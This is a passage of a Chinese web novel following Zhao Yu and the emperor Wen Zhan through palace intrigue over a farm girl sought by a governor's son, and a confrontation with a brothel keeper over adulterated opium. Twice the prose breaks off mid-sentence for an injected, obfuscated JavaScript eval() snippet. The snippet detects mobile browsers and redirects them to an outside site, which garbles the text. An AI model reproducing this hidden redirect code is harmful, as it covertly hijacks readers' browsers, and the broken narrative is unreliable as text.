“祖宗,我不能总让您养着吧。”黄枞菖,“这些年,您给了我不少了。” 赵毓,“那些钱不是让你乱花的,是让你拿回老家买房子置地。你不能总在司礼监,总这么位高权重吧,总要给自己留一条退路。” “老家的地都置办下了。可是,我也不能把我们凉坡周边的地都买尽了吧,乡里乡亲的还不得骂我们祖宗八辈?” 黄枞菖说话间引着赵毓到后院。 这里很宽敞,还有一排瓦房,他们进了一个最亮堂的屋子,里面没有摆放八仙桌和木椅,而是砌了一个火炕,炕上摆着小桌。 他们脱了鞋,上了炕。 外面有个婆子进来,黄枞菖把从牛神医那里开出来的食谱给她看,让她按照上面的医嘱先准备四份热茶,再熬煮一份人参乌鸡松茸汤。 等那个婆子出去,赵毓扯过来那张食谱,一边看,一边皱眉,“宫中有大夫,随便瞧瞧吃两味药就得了,折腾这个做什么?” 黄枞菖,“这病,还真不能让宫中的大夫瞧。祖宗,您不知道,现如今您的脉案和圣上的放在一起,按理说,这些脉案应该让内阁诸位阁老们传阅的,司礼监也要翻看。您想想,这要是让他们看到了,还以为圣上那个啥,不太好吧。再说,太医局那帮子人,各个老谋深算,给人瞧病只要不死人就是大功,至于病症能不能治好,那就看天命了。您这毛病不大,只是绝对不能拖,不然,以后有您受的,绝对不能让宫中那帮子王八蛋瞎折腾。” 赵毓又看了看食谱,有些嫌恶的撇在一旁,“黄瓜,你叫我出宫,究竟有什么事儿?” 黄枞菖,“甘宁总督徐绍那个小儿子,想要买罗小草。” 赵毓,“徐稚?” 黄枞菖,“是他。” 赵毓,“我在雍王府的时候听越筝说过,这个徐稚是他的座上宾,不过这也没啥。我去回绝,不卖。” 黄枞菖摇头,“不能这么硬碰硬。” 赵毓,“怎么?” 黄枞菖,“祖宗,这个徐家,现在是好坏都不要沾,尤其是您。” 赵毓自己倒水,也给黄枞菖倒了一杯热茶,“说明白些。” 黄枞菖,“徐绍,是圣上亲自布防的大郑北境第一道防线;而这第二道防线,就是您向定国公举荐的白策。” 赵毓碾开一个松子。 黄枞菖,“如果您跟徐总督交好,那么,大郑从北境到雍京,半壁江山,百万雄兵尽数在您手中。我到不是说圣上会疑心,可是太子怎么想,雍王怎么想,楚相怎么想,定国公又怎么想?除开这些人,但凡知道一些军国大事的人,会不会暗中疑心圣上过于偏听偏信?” 赵毓咀嚼了那枚松子。 “如果您同徐总督交恶,……”黄枞菖看着赵毓,“您终归是尹家的女婿,是藩镇。圣上重用徐绍,矛头对的就是藩镇。一旦削藩,万一这些裂土封疆的将军王侯们不甘心,打着清君侧的大旗举兵造反,徐总督率重兵克那些累世功勋的藩镇,究竟是天下为公,还是报私仇,这就是牵扯到人心向背的大事。” 赵毓的手指碾着松子壳子。 黄枞菖,“如今茶馆中,说书人最红火的段子就是《说岳全传》与《杨家将》。他们的忠肝义胆,盖世功勋与高风亮节让百姓折服,保家卫国的大义更让大家心向往之。可是,大家酒足饭饱之后,隐晦议论的却是,当年宋帝十二道金牌招岳飞,致使一代名将冤死风波亭,实在大大可惜。如果他们是岳飞,一定让宋帝诏书活见鬼,并且拥兵自立,先北上抗击完颜氏,再南下夺取赵宋皇权,这才是大丈夫一生的功业。我华夏自古就是王侯将相,宁有种乎。” “万一,战火从边境烧过来,所到之处,未必不会有人把圣上比作宋帝,把藩镇比作岳飞的传闻。” “《上略》,英雄者,国之干;庶民者,国之本。得其干,收其本,则政行而无怨。” “王爷,我们不能给藩镇留下一丝一毫的话柄。” 赵毓,“所以,这位徐总督就倚仗着圣上的重用而纵容小儿子为所欲为?” “怎么可能?!”黄枞菖叫道,“如果真那样,皇上早把他灭了。” 此时,外面有敲门声,黄枞菖生了一句,“进来。” 方才的大妈端了一个大方木盘,里面放着四盘子冒着热气的菜,又摆了几个大枣馒头。 她倒是什么都没说,甚至连眼皮都没有抬。 赵毓看了一眼,——紫苏鲈鱼,韭菜腰花,双椒爆海参,还有一份木耳山药。别说,这些菜卖相的确不错,虽然他有些嫌恶,不过闻着也饿了。不一会儿,鸡汤也端上了桌子。 黄枞菖拿了一双干净筷子,给他挑过来一段鲈鱼,开始挑刺,“老徐这个人,其实不错。只不过,家家有本难念的经。” 赵毓掰了一块枣馒头,沾了沾爆海参的汤汁,“怎么说?” 黄枞菖,“老徐这个三老婆是他四十八才娶的,那个小儿子出生的时候,他都快五十了,好像他大孙子比这个小儿子都大几岁呢!那叫一个娇宠,哦,比当年先帝爷宠您也不差。” “本来嘛,那个婆娘和这小子都在南方,日子过的无法无天也好,狗急跳墙也好,山高皇帝远,惹不出大事儿来,结果,这个婆娘不知道哪根筋不对了,非带着小儿子来雍京城,这就有些麻烦。” “老徐和他那些成年的儿子们都在北境,实在鞭长莫及,管不住这娘俩。不瞒您说,老徐单独给我塞了好几回钱了,让我在皇上面前吹吹风,看看司礼监或者内阁能不能出个诏书,强令他老婆带着儿子回南方去。” 赵毓正吃着,差点喷了,“文湛还管这事儿?” “哪能呢!”黄枞菖把挑好刺的鲈鱼放在赵毓嘴边的碟子里,“皇上才不管这些鸡零狗碎。老徐给我的银子都被我退回去了,他们家这些烂事儿,没人愿意插手。” 赵毓,“徐总督家这个嫩妻娇儿,实在是惹事。不过,这位大人英雄一世,怎么沾上这么一个败家娘们儿?” “英雄难过美人关。”黄枞菖猥琐的笑了笑,还磨着牙,“他们家那个老婆,姑苏人,那叫一个美,那叫一个嗲,一口吴侬软语就跟加了三斤冰糖炖酥的莲子羹,啧啧,让人骨头都软了。老徐再强悍,也挡不住这水做的人儿,本来心志坚定,枕头风一吹,他连自己亲爹姓什么估计都忘了。” “姑苏姑娘都这样。”赵毓不以为然,“姑苏连老爷们儿都这样。徐总督在西北和北境吃了太多的沙子,没见过世面,遇到这么一碗桂花糖芋苗,直接折了。说他是一世英雄,实在是名不副实。” “得了吧。”黄枞菖,“您在西北的很多事,皇上不想听,不代表他不知道。可是这些事情我必须知道。您在西疆是这个!”说着,他竖了大拇指,“可是,您再见过世面,再英雄盖世,不也折了吗。”他的筷子戳了戳鲈鱼,“祖宗,咱都虚到连紫苏鲈鱼都吃上了,咱可真没脸说别人。” 赵毓往嘴巴里面塞了一大坨枣花馒头,随后,喝了一海碗人参乌鸡松茸汤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728958|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。——他自己把自己的嘴巴给严丝合缝的堵上了。 回宫后,文湛逮住赵毓,连着问,“究竟怎么回事?” 赵毓想要搪塞过去,“什么怎么回事?” 文湛,“你去看大夫了吧。” 赵毓,“呃,……” 文湛,“你瞒不住我,你身上有草药的味道。黄枞菖扯住你出宫,定是去看大夫。究竟是什么毛病,不能传太医局的医正过来?” 赵毓见实在瞒不住,就让黄枞菖把那份食单递给文湛。 皇帝扫了一眼,脸就绿了。 赵毓,“大夫说了,毛病倒是不大,得养。他还说了,咱俩得分房睡。” “不用。”文湛把食谱拍到桌面上,“我没这么禽兽。” 这几天他心思重,半夜惊醒分不清楚梦境现实,如果没有承怡在卧榻之旁,他怕走不出心魔布下的障。 赵毓与“新夫人”的房倒是没有分成,却分了被窝。 半夜。 赵毓辗转反侧,最后扭过来,看着文湛。 皇帝睡的安稳,就是姿势有些奇诡,此时的他好像当年的崔珩,以那种进棺材的板正似乎可以安眠到永垂不朽。 “你怎么了?”文湛忽然开口。 “呃,你没睡着?” “你翻来覆去的多半夜,谁睡得着?” “呃,……” 赵毓也不知道怎么了,原本不需要清心寡欲的时候,他感觉自己没那么大的劲头,隔三差五的弄几下就拉倒了,夜里睡的也香甜。如今这硬是卡住他的脖子不让他吃,他就感觉心里像养了一百只猫,还是一百只叫|春的猫!这些猫抓的他五脏六腑外加四肢百骸又痒又痛,又疼又痒,心中翻江倒海,能睡着才是活见鬼! ——我又不是一条木头。 他坐起来,“我还是去玉熙宫吧。我这么折腾,白天可以补眠,你得去微音殿,不能挂着两个青黑色的眼圈,不然,让楚蔷生看出端倪,乱写奏折可有些尴尬了。他原先可真有文死谏的铮骨,不知道现在从良了没?” 文湛睁开眼,看了看他,起身,“你睡这里,我到外间屋子去。” 侍夜的小太监连忙进来,帮着皇帝搬了枕头被子出去。 黎明之前文湛进内殿更衣,他看见赵毓盘着腿坐在软塌上,正在嗑瓜子,咔,咔咔,咔咔咔,嗑的不紧不慢,除了眼神有些呆滞之外,也没别的大毛病。 文湛不知道是心疼还是气的,居然笑了,“你又怎么了?” 赵毓,“我不是故意整幺蛾子,我实在睡不着。我都数了十万只绵羊了,再数,整个蒙古草原上的羊都归我了。” 哎,他心中叹气。这些年他听说也见过了不少贞节牌坊下葬活人的事,那些寡妇们想要熬得住,都有自己的绝活儿!有人半夜撒围棋子再一颗一颗捡起来;有人一整夜一整夜的绣花;还有人不紧不慢的嗑着瓜子,那一声一声的咔咔的声音,似乎可以真的驱散了漫漫长夜。他也学这个,却除了口干舌燥之外,似乎也没见什么功效。 第二夜,赵毓连瓜子都不想嗑了,“听说念经可以清心寡欲,我去京郊庙里住几天吃斋念佛去?” 柳丛容正在为文湛披上软缎衣袍,皇帝看了看他,“冷宫边上有佛堂,当年父皇住的西苑还有紫檀经舍,你想要念经去那里就好。” 赵毓想了一下,决定去紫檀经舍。 这是先帝修仙打醮的地方,他大行之后,已经许久没有人烟,只留一两个日常打扫的小太监,因而显得格外清冷,人的气息几乎不存在,只余下檀香的味道萦绕着。 文湛命人把紫檀经舍内殿的两张窄榻收拾出来,垫好被褥,铺好床。 赵毓躺下,模糊的问了一句,“陛下,一口气不来,向何处安身立命?” 那一瞬间,文湛没有发觉承怡这句话问的是自己,因为,他这句“陛下”问的有些过于肃穆。如今承怡对着他说“陛下”总是带着几分调侃,却根植着不可思议的亲昵。很久了,他没有以这样端正的口吻问过自己。 文湛道,“我不知道,我是俗人,没有慧根,参不透这些。你,怎么想起来问这个?” 赵毓,“我在想父皇。如果上天给他一个选择的权利,可以同他真正爱的人朝朝暮暮,他是否可以舍弃王权富贵、清规戒律?” 文湛回答,“不可能。”没有半分犹豫。 赵毓从被子中摸出来一尊黄金小像,是欢喜佛。他说,“藏在床边了,不知道为什么先帝大殓的时候会漏掉,李芳走的时候也没有取。” 他说着想要递给文湛,文湛却没有接,他对这个没有什么兴趣。赵毓自己拿着反复看了看。造像是两个人。其中一人的脸就如同那张久远的画像上的一般无二,面孔已经被磨的如同镜子一般,一看就知道是人的手指经年累月的抚摸,才能让它如此的光洁,如同经书中的神迹。 文湛忽然起身,“你在这里心思太多,就是睡着了也不安稳,走吧,回玉熙宫。” 这大半夜的,他们开始全部移居赵毓原本长大的地方。 一个小太监忽然扯住黄枞菖,“两位主子是在演练吗?” 黄枞菖忙的有些焦头烂额,“演练?” “是呀,我听之前的燮爷爷说,几百年前大正宫不太平,经常有叛乱,当年坐龙椅的一位祖宗特别怕半夜有人刺王杀驾,所以睡觉的时候都是睁一只眼闭一只眼,经常大半夜移宫,有时候一晚上能睡三个大宫殿。现如今咱们天下太平久了,这两位主子半夜换宫殿,是不是演练如何躲避叛军,又或者是忆苦思甜?” 黄枞菖,“……” 101. 101 101 玉熙宫有淡淡白昙花的香气,水一样。闻着这样熟悉的味道,赵毓终于渐渐安眠了。他躺在这里,如同回到故乡的旅人,四肢百骸都浸润了怡然,慢慢舒展,像一片树叶终于落到了它应该落在的地方。 天不亮,文湛需要起身。他很轻很轻的亲了一下赵毓的额间的碎发,不敢惊动他,很轻的下了床榻,让外间伺候的小太监拿了冷水浸润布巾,按在腹下,很慢很慢,才将自己汹涌的情绪一点一点镇了下去。 柳丛容为他更衣,并且很小声的说了一句,“大小姐过来了。” 今日,赵格非进玉熙宫的时辰比平时早一些,天还没有亮,她本来想着换了书回去再写几张字,没想到在这里遇到柳丛容与黄枞菖,还有那些平时只在皇帝寝殿周围护卫的兵士们。 这个,…… 很不幸,她还见到了文湛。 今天这位“六叔”很不一样,到底哪里不一样,赵格非说不清楚,只是觉得现在的他似乎是另外一个尘世的人,那个尘世漂浮于俗世之中,却属于长大后的人们。那里也许布满了荆棘,悬崖与令人万劫不复的深渊,依旧存在着绚烂的鲜花和甘甜的蜂蜜,引着人们追逐,却不死不归。 赵格非恭恭敬敬的问了安,“六叔。” 文湛问她,“这么早到玉熙宫,是要看书吗?” 玉熙宫原本没有存书,赵格非在禁庭看书不方便,黄枞菖将赵毓原本放地窖的书柜们都搬了出来,又布置了许多他原先看惯了的书籍。 “是。”赵格非回答,“上次拿了本古楚语的《楚辞》,太艰涩,看不太明白。开春之后我就要去谢家读书了,谢冬荣先生给书单很规整,先要从儒家经书开始读,打个好基础,所以我想着先把书放回来,等以后闲了再看。” 文湛点了点头,“你早上用膳了吗?” “没用。” “在这里吃点吗?” 赵格非看了看文湛,又看了看不远处的黄枞菖,那边似乎没看到她,一直低着头摆弄茶具。皇帝也不说话,只是等着,于是,她点点头,“好,谢谢六叔。” 文湛问,“今天还拿新的书?” 赵格非,“想拿一本庐山先生的《戏文散编》。” 文湛把赵格非手中的书接过去,吩咐柳丛容准备早膳,随后便引着她到后面林立的书柜丛中。 “格非。” “是,六叔。” “你爹,送你去谢家读书,你外祖父同意吗?” 文湛把那本《楚辞》插|回去,抬手,从第七排的一个旧书柜中抽出来一本书,正是赵格非想要看《戏文散编》。他并没有递给她,而是随手翻开,果然发现里面有一些春|宫,于是很自然的放了回去,继续找那本应该被承怡塞在哪个不见天日角落的洁本。 赵格非,“……” 过了一会儿,她想起来方才文湛似乎在问他话,她这才连忙回答,“我的事一向是我爹做主,之前我娘都不说什么的,外祖父自然更不会说什么了。只是,现在我大了,我爹也会问过我的想法。这次去谢家读书,是我自己愿意的。” 文湛,“为什么?” 赵格非,“谢冬荣先生教女学生读四书。” 文湛,“考不了科举也要读吗?” 最后一排书柜,最底一层,被尘土覆盖,他低下,眼睛一排书一排书的扫过去。 “考不了科举更要读。”赵格非,“我想要知道这个尘世本来的面貌,越真实越好。既然四书是圣人经书,是世间一切高爵厚禄的敲门砖,我想要仔细研读一下,它究竟是什么。” 文湛转过身,看着她,伸手,递过来一本书,正是赵格非要找到的戏文散编。 洁本。 经过前朝学士尤清篆编校,无一丝一毫有伤风化的言辞,干净的如同一份清澈见底的白米汤。 他们回到前殿,柳丛容早已经备好了膳食。 桌面上铺着的吃食非常丰盛,各式宫点做的非常细致,清粥放在瓷碗中。 文湛让赵格非坐,“不知道你过来,没有准备你爱吃的荞麦。这些都是承怡吃惯的东西,你看看,有没有爱吃的东西?” 随后,他们吃饭的时候,文湛没有给赵格非夹任何东西,他知道,他给她的东西,她一定会吃,无论她是否爱吃。 餐桌上没有承怡,就会变得异常安寂。文湛忽然问了一句,“格非,兰叶巷那个罗小姑娘,是怎么回事?” 赵格非正在咽一口红豆糕,听文湛这样问她一不小心,差点噎死。黄枞菖连忙端过来一碗茶水,让她顺顺。赵格非知道自己这样算是御前失仪,实在不好,于是情急之下只说了一句非常要紧的话,“我爹从不买妾!” 文湛,“……” 过了好一会儿,赵格非才把打嗝压了下去。 文湛等她平静下来,认真思忖了一下才说,“格非,你爹之前的身份是先帝亲自下诏册封的亲王,那是大郑最高门第的公卿。难道,你以为拥有这样王爵的人,与山中落魄书生一样吗?” 赵格非,“……?” 文湛却不在这个事情上多纠缠,他简单问了问罗小草的事情,问,“格非,你认为承怡会放任不管吗?” “不会。”赵格非摇头,“我爹不是那样的人。” 文湛,“因为他重情重义?” 赵格非认真想了想,谨慎的说,“因为放任小草进徐府这件事从根本上违背我爹为人处世的方式,他应该不太会选择这种做法,这同他是否重情重义其实还不太一样。” 文湛,“愿闻其详。” 赵格非,“小草只是农家女,任何一个人,稍微一权衡都知道舍弃她而选择徐家。只是,权衡这种做法,其实很多时候不一定是最好的做法。” “许多人做事只喜欢权衡。以为自己做出的抉择是最适宜的。只是天下之大,世事之繁杂,人心之险诈,单凭一己之力权衡,如何确保这个抉择可以经得起人心,经得起时间的考验?在我看来,很多权衡,不过是走了一条捷径而已。可是爹也说过,世上的捷径多是陷阱,他还说,淹死的都是会凫水的,这世上做丢了西瓜捡芝麻的事的人,多是聪明人。” “为了攀附权贵而选择抛弃弱小,能做出这种事的人,必定是聪明人。” “我爹不是聪明人。” 承怡是不是聪明人,文湛很少去想,就像他从来不会在意自己的手是不是白皙,是不是像什么名贵的玉雕,对于他来说,手能用就好,而承怡对于他来说,如同生命中不可分割的存在,只要是他就好,别的一切都不重要。 但是,对于朱七姐来说,赵毓极聪明,甚至是聪明的过了头! 麻烦,而且令人恐惧。 京郊。 一个不起眼的农庄。 朱七姐带来的十个护院被人押在马厩中,她本人还算被礼遇,仅仅被“请”到北屋,坐在一把圈椅上,手边还有一个盖碗。赵毓将碗盖掀开,拎着一个黑铁壶,向盖碗中注茶水,颜色黑褐,带着一种奶腥味。 “喝了七姐那么多的龙井、毛峰、六安瓜片和碧螺春,您也尝尝我们贩的茶。这是要运到北方和蒙古人换马匹的砖茶,不能泡,需要煮,还加了牛乳和盐,味道嘛,喝习惯了就感觉不错了。” 朱七姐虽然是女流,却见惯了大场面,为人也四海。她同赵毓是旧相识,赵毓是她的老主顾,这些年,这位赵老板在她那里摆酒请客,让她赚了不少,再加上赵毓与原来十三行的周熙是好友,从哪里讲起来,眼前这个人,都是她不想得罪的,只是,世上的人和事总有例外。 “赵老爷,有话直说。” 赵毓给朱七姐对面坐着的一个男人也倒了一碗热奶茶,随后,他自己给自己也满上一碗,稳稳当当的喝了两口。 朱七姐的眼睛一直看着对面那个人。 这个人她见过一面。 那一次,她的园子里新请了岭南厨子,永嘉周熙做东,赵毓带着那人过来喝花酒。当时在场的都是十三行的老主顾,任谁拎出来都是雄霸一方的财神爷,众人即使并不熟识,私下也互知一些底细。 只除了眼前这个年轻的男人。 此人背景成谜。 谁也没有见过他,谁也不认识他,众人只知道他是赵毓带来的人,除此之外,一无所获。 一个人,如果可以在雍京城隐藏的如此深,这些手眼通天财神的耳报们费尽心力都挖掘不到的身世,这事情本身就可以带给人诸多念想,诸多变数,诸多危险,令人不安。 此时,屋子外面进来几个人,一身皂,手中拎着几口箱子。 放下。 打开箱子盖,一股怪味逸了出来,犹如陈旧的尿。 赵毓走过去,低头看了看,蹲下,他用刀撬开盖子下面第二层木板,露出里面真实的货,一个一个黑褐色的大圆球,外面裹着烟叶。 ——鸦片! 朱七姐看着他,忽然笑了起来。她原本就是扬州盐商的瘦马,一颦一笑对着镜子练过几十年。此时,她更是用上了生平所学,顿时,犹如多年道行的狐拜月而生,声音随着笑,带着千娇百媚的颜色。 她开口,“赵老爷这是做啥子啊,侬不认得鸦片膏子,不是啥值钱货。” 赵毓也笑,“暹罗王每年往大郑运五、六百斤鸦片膏子,就够他们换几大海船的丝绸瓷器,这玩意儿的价格比黄金还贵,很值钱的好伐。” 他用刀在烟膏上剜了一下,将东西送进嘴里面,抿了一下,随即吐出。诸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728959|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此番,他将这批货大抵验了一下。 最后,赵毓用清水漱口,说,“这批货有问题。” 朱七姐,“赵老爷这是要黑吃黑?” 赵毓,“大郑没有禁鸦片,你卖烟膏不算黑。我要是吃了这批货,我才是黑,那算是打劫,不算黑吃黑。再说,西北道招牌还在的时候,我们就不做烟土的买卖,现在改成元承行,更不会沾这种断子绝孙的生意。” 朱七姐不说话,单是看着他。 赵毓,“我说七姐的货有问题,是说你货不对版。七姐,您看,箱子上标着泰西的字,一行一列,像是蚯蚓弯弯爬,这明明白白写的是派脱那土(最上等的烟土,大圆球式样,质地较软,裹以烟叶),印度产的,从外洋直接运来的。只是,我验了验,您这几个箱子里面却是下等烟土。这挂羊头卖狗肉的买卖,一来一去能赚个十倍甚至几十倍的差价,可是,风声要是走漏了,七姐的名声就毁了。” 朱七姐,“沈臻沈老爷被抄家下了大狱以后,生死不明,雍京的烟土就断了顿。随后,赵老爷您的元承行封了西北商道,南洋那边又有海禁,顶级大土(派脱那土的俗称)运不进来,我就算拿一些不好的货以次充好,老主顾们自会体谅。他们不会抱怨我,只会抱怨赵老爷不想在这行生意上发财,还不让别人发财,太霸道。” “呦。”赵毓用袖子擦了擦刀,“没让诸位老爷们醉生梦死,拦着七姐发这种刨人祖坟的财,倒是我的不是了。” 朱七姐,“赵老爷是菩萨心肠,我们这些人却不像您。您的元承行是大买卖,永嘉十三行在您眼中都是鸡零狗碎,其他人就更不要讲了。您能捞到肉吃,我们能捞点汤,泡着白饭吃个半饱就阿弥陀佛了。” 赵毓,“好,都是我的不是,谁让咱大郑不禁鸦片,是我耽误诸位的财路。不过七姐,我不明白,就算上等的派脱那土进不来,您弄点泰西黄毛叫什么英吉利的商人偷运的加尔各答土也就算了,那个东西和上等大土比,品质是差了一些,价格也便宜一些,可是死人死的不会那么快。您这批货可是东瀛倭人从波斯走私的红土,毒性极大,烧的些微多一些就能便血,再多一些立马死人。这是南洋那边下等窑子用来控制不听话、逃跑姑娘用的东西,一两下把人弄废,只能任凭他们摆布。您给您的老主顾用这种波斯烟土,不太合适吧。我听说,您的老主顾里面,还有徽郡王?” 说道这里,他又轻轻笑了,似乎一切都是那样的如烟似雾,如同雍京寅时的天空。 “徽郡王可是名字写在宗室玉牒上的贵人,他老人家寿数已高,在朝廷上没有实职,人家的世子手中可有实权。七姐,您再玲珑八面,终究和我一样是个草民,不要说与这些凤子龙孙沾边的事,就算顺天府里一个九品典狱都能让你我生死不能。更何况,您这红土来源也蹊跷,怕不是还通倭?” 朱七姐这才感觉周身阴冷,她想要喝一些热茶暖暖,手指却一直抽搐,根本握不住盖碗。一败涂地,今天彻底的一败涂地,她的七寸就在赵毓手中捏着,人家再用些力气,她就碎了。 她连忙服软,“赵老爷,我一个妇道人家,很多事情不懂,您给个章程。” 赵毓又笑,“七姐别害怕,您这批货想来也没有多少钱,一会儿用石灰烧了,就地一埋,这事儿就算过去了,您看成吗?” “好。”朱七姐连忙点头。赵毓又说了几句,无非就是这行生意当真不好,看着繁花似锦,其实白骨遍地,希望七姐就算为了自己来生还能投个人胎也不要再碰。朱七姐自然是千万个同意。 随后,赵毓话音一转,单刀直入问了一句,——“甘宁总督徐绍那位小公子,是如何遇上罗小草的?” 朱七姐一愣。 赵毓没有问“徐小公子怎么会看上罗小草”或者是,“徐小公子怎么能放弃罗小草”,他很直接,问的就是“如何遇到罗小草”。 朱七姐刚想要说话,赵毓又说,“这大千世界,爱有千般,恨有千般,无论爱恨都是缘,孽缘也是缘。” “徐小公子身份贵重,见过的美人犹如过江之鲫,对于罗小草这么个农家少女,即使这个少女长的些微出众一些,那也只是一时贪鲜,就算强买进府为奴为婢,为此坏了一个清白良家女子的一生,也不算很令人诧异。毕竟人生来有高低贵贱,有的时候认命总要好过一些,我对这些衙内公子们的品行没有太多的期待。” “我奇怪的是,徐小公子怎么那么凑巧,去一趟长生当铺买玉就能遇到一个不起眼的小丫头?随后,又那么十分凑巧知道这个小丫头经过朱七姐您的手被转卖过?最后,实在是凑巧中的凑巧,我从您手中买下这个丫头,已经撕毁了卖身契。这个世上无巧不成书,可是巧成这样,也够烟波江上使人愁的,愁人,真愁人。” 102. 102 102 朱七姐主要做开书寓的营生,并不是开烟馆的买卖。 这一次她私运一些烟土也只是为了试试水。所以这批货当真就如同赵毓所说的,并不多,再加上品质极差,就算全部销毁对于朱七姐来说也不会伤筋动骨,实在没有必要为了这点银子和赵毓死杠。 “赵老爷,我也只是受人所托。” “谁?” “是徐总督的夫人,那位小公子的亲娘。” 赵毓听着就乐,“给儿子找这种麻烦,也只有他们家那位亲娘了。” 朱七姐,“徐家小公子从小受宠,刚从南方到雍京城,因为不太懂规矩在女人这种事上已经惹过几次麻烦了。有一次甚至看上了南城何家当家二奶奶的胭脂狗,一定要花大价钱娶回去。徐夫人实在不想再丢人,这才找到我,让我给他们家少爷物色几个姑娘,要模样好的,出身清白的,进府侍候。” 赵毓给她换了一碗热奶茶,随后饶有兴趣的笑着说,“何家那位二奶奶还干这种缺德事?他们老何家祖上也是为官做宰、出将入相的,虽然说子孙不肖败落了,可是瘦死的骆驼比马大,祖宗的脸面又不是茅坑的门帘,该要,还是应该要的。” 朱七姐听他的话,喝了两口热奶茶,脸色稍微缓了一些,“赵老爷这话真是饱汉子不知饿汉子饥。您手中有大把的银钱,不觉得日子艰难,何家门里的那些爷尽是纨绔子弟,除了花钱别的什么都不会。平日里这么大的开销,主持中馈的二奶奶从哪里捞钱?除了没被典当的祖产能勉强支撑一些,其余的,只能是捞偏门了。再加上他们家毕竟有些根基,顺天府也睁一只眼闭一只眼。” 文湛忽然开口,“什么是胭脂狗?” 朱七姐面上似乎对这个人不在意,其实她的双眼一直暗中盯着文湛。难得的机会,她想要就近再琢磨琢磨,此人究竟是个什么底细?只是,当听到文湛开口的时候,她反倒糊涂了。 她自负看人如同透骨钉,却怎么也看不透眼前之人。 当时有人传文湛供职于翰林院的时候,她就觉得不对,随后,那些人去翰林院钻山打洞一边的查,因为他们来路不正,不敢在翰林院明目张胆的折腾,找人异常耗时,终究一无所获。朱七姐的书寓在雍京是拔头筹的,她见惯了达官贵人,甚至连宗室皇亲也不陌生,就连那位徽郡王也是她们家姑娘的裙下臣,可她就是没见过文湛这样的男人。 ——极重的书卷气却不是翰林,周身清贵却不是王公,身着布衣旧鞋却与贩夫走卒全然不沾。 还有,样貌。见过文湛的人都觉得他清俊到无法描述,可是在朱七姐眼中,这反而要退到其次。已经到了这个场面了,权势、财力、头脑甚至是武力都是权衡的筹码,皮相是最不重要的,毕竟,她做的就是风月生意,苏北大水一过,再美丽的皮囊也不过值一口薄皮棺材。 此人在朱七姐眼中是个填不满的深坑,任何关于他的想法都不过分,他似乎全知全能,却被一个问题戳破了这层纸。 ——“什么是胭脂狗?” 这个人,不通市井人情,难道,真的如同另外一个传言,他是赵毓豢养的落魄名门之后? 赵毓回答,“高门大户的老爷们多豢养姬妾。家族繁盛的时候,人口多一些,不过是添了碗筷,可是一旦败落,多余一个人吃饭,就多一份负担。而且,这些老爷们平时花习惯了,不懂节省,所以有些心黑手狠,肯拉下脸皮的当家夫人就把这些姬妾放出府门,做一些皮肉生意。” “度夜的银钱收的比市价贵的多,如果遇到嫌贵或者不想给钱的嫖|客,主人家就给他扣一个拐带高门妾的大帽子直接押着扭送官府,这在大郑律法上可是重罪。那些姬妾入门的时候都签了卖身契,她们也跑不了,只能任凭摆布。这是明摆着布局仙人跳,官府得了些好处也就松松手。” “放胭脂狗这种事一旦做出来,祖宗十八代的脸都丢尽了,子孙如果还想要些脸面,以后还想着科举挣个前途也只能远走他乡隐姓埋名。所以,不到万不得已,绝对不能走这一步。” 朱七姐附和,“对,对。连我们这样的人家,嫁出去的女就算上岸,绝对不能再拉人下水。那些高门夫人们,想来平时看见老爷们左拥右抱的生了半辈子气,这个时候正好出出气。” 赵毓则说,“我忽然有个想法,这豢养姬妾也是一种生财之道啊。平时放在眼前赏心悦目,没饭吃的时候还能撒出去淘换一些银钱。” 朱七姐,“赵老爷说笑话,您哪能做出这样的事?” 赵毓,“这种大话不好讲的。徐夫人是姑苏人,您虽然出身扬州,可是祖籍却在太仓,她和您也算同乡。你们说起来一些体己话,也比别人便宜。” 朱七姐却没有搭话。 赵毓问,“怎么了?” 朱七姐,“赵老爷这是诈我?” 赵毓笑着,低头喝茶,没说话。 朱七姐,“徐夫人是镇江人。” “哦。”赵毓还是笑,就像他手中倒出来的奶茶,说不上是个什么味道,“想来,是我记错了。” 销毁鸦片烟土不能用火烧,不然,在场的所有人都会中毒,而且风会将毒烟送到周围临近的村落。 文湛命人在开阔地挖了一个深坑,填上生石灰与水,最后倒入烟土。 待到烟土被熬坏,直接深埋。 赵毓让人把朱七姐和她带的人蒙上眼睛,送到雍京南门外,这才回转。 文湛看着他过来,“承怡,我怎么记得那位徐夫人就是苏州人?” 一想到黄枞菖提到,最近一段时日,文湛被徐总督家的鸡零狗碎叨扰的事,赵毓就想笑。他看了看眼前脚下的深坑,烟土被石灰水烧化掉,冒出奇怪的味道,幸好周围都封锁了,没有闲杂人过来。只是没等他再看清楚一些,随即就被文湛扯到一旁。 赵毓这才说,“甘宁总督徐绍的夫人自然是姑苏人。她亲爹祖籍在苏州,人却是在镇江发的财,后来找了个镇江落魄家族承了宗,摇身一变成为镇江名门,不知根底的外人都以为他们是镇江人。” 文湛,“方才那位妇人一直在说谎?” “没说谎。”赵毓摇头,随后又点头,“不过,也算说谎。” 文湛微微皱眉,“怎么说?” 赵毓,“我方才一直盯着朱七姐瞧,发现她说的话都是真的,或者说,她自己以为是真的。” 文湛,“哦?” 赵毓,“有人对她使诈,找个镇江徐夫人冒充姑苏徐夫人。只要朱七姐坚信自己见到的人是徐总督夫人,那个人就得逞了。这一招我爷爷当年也用过。” 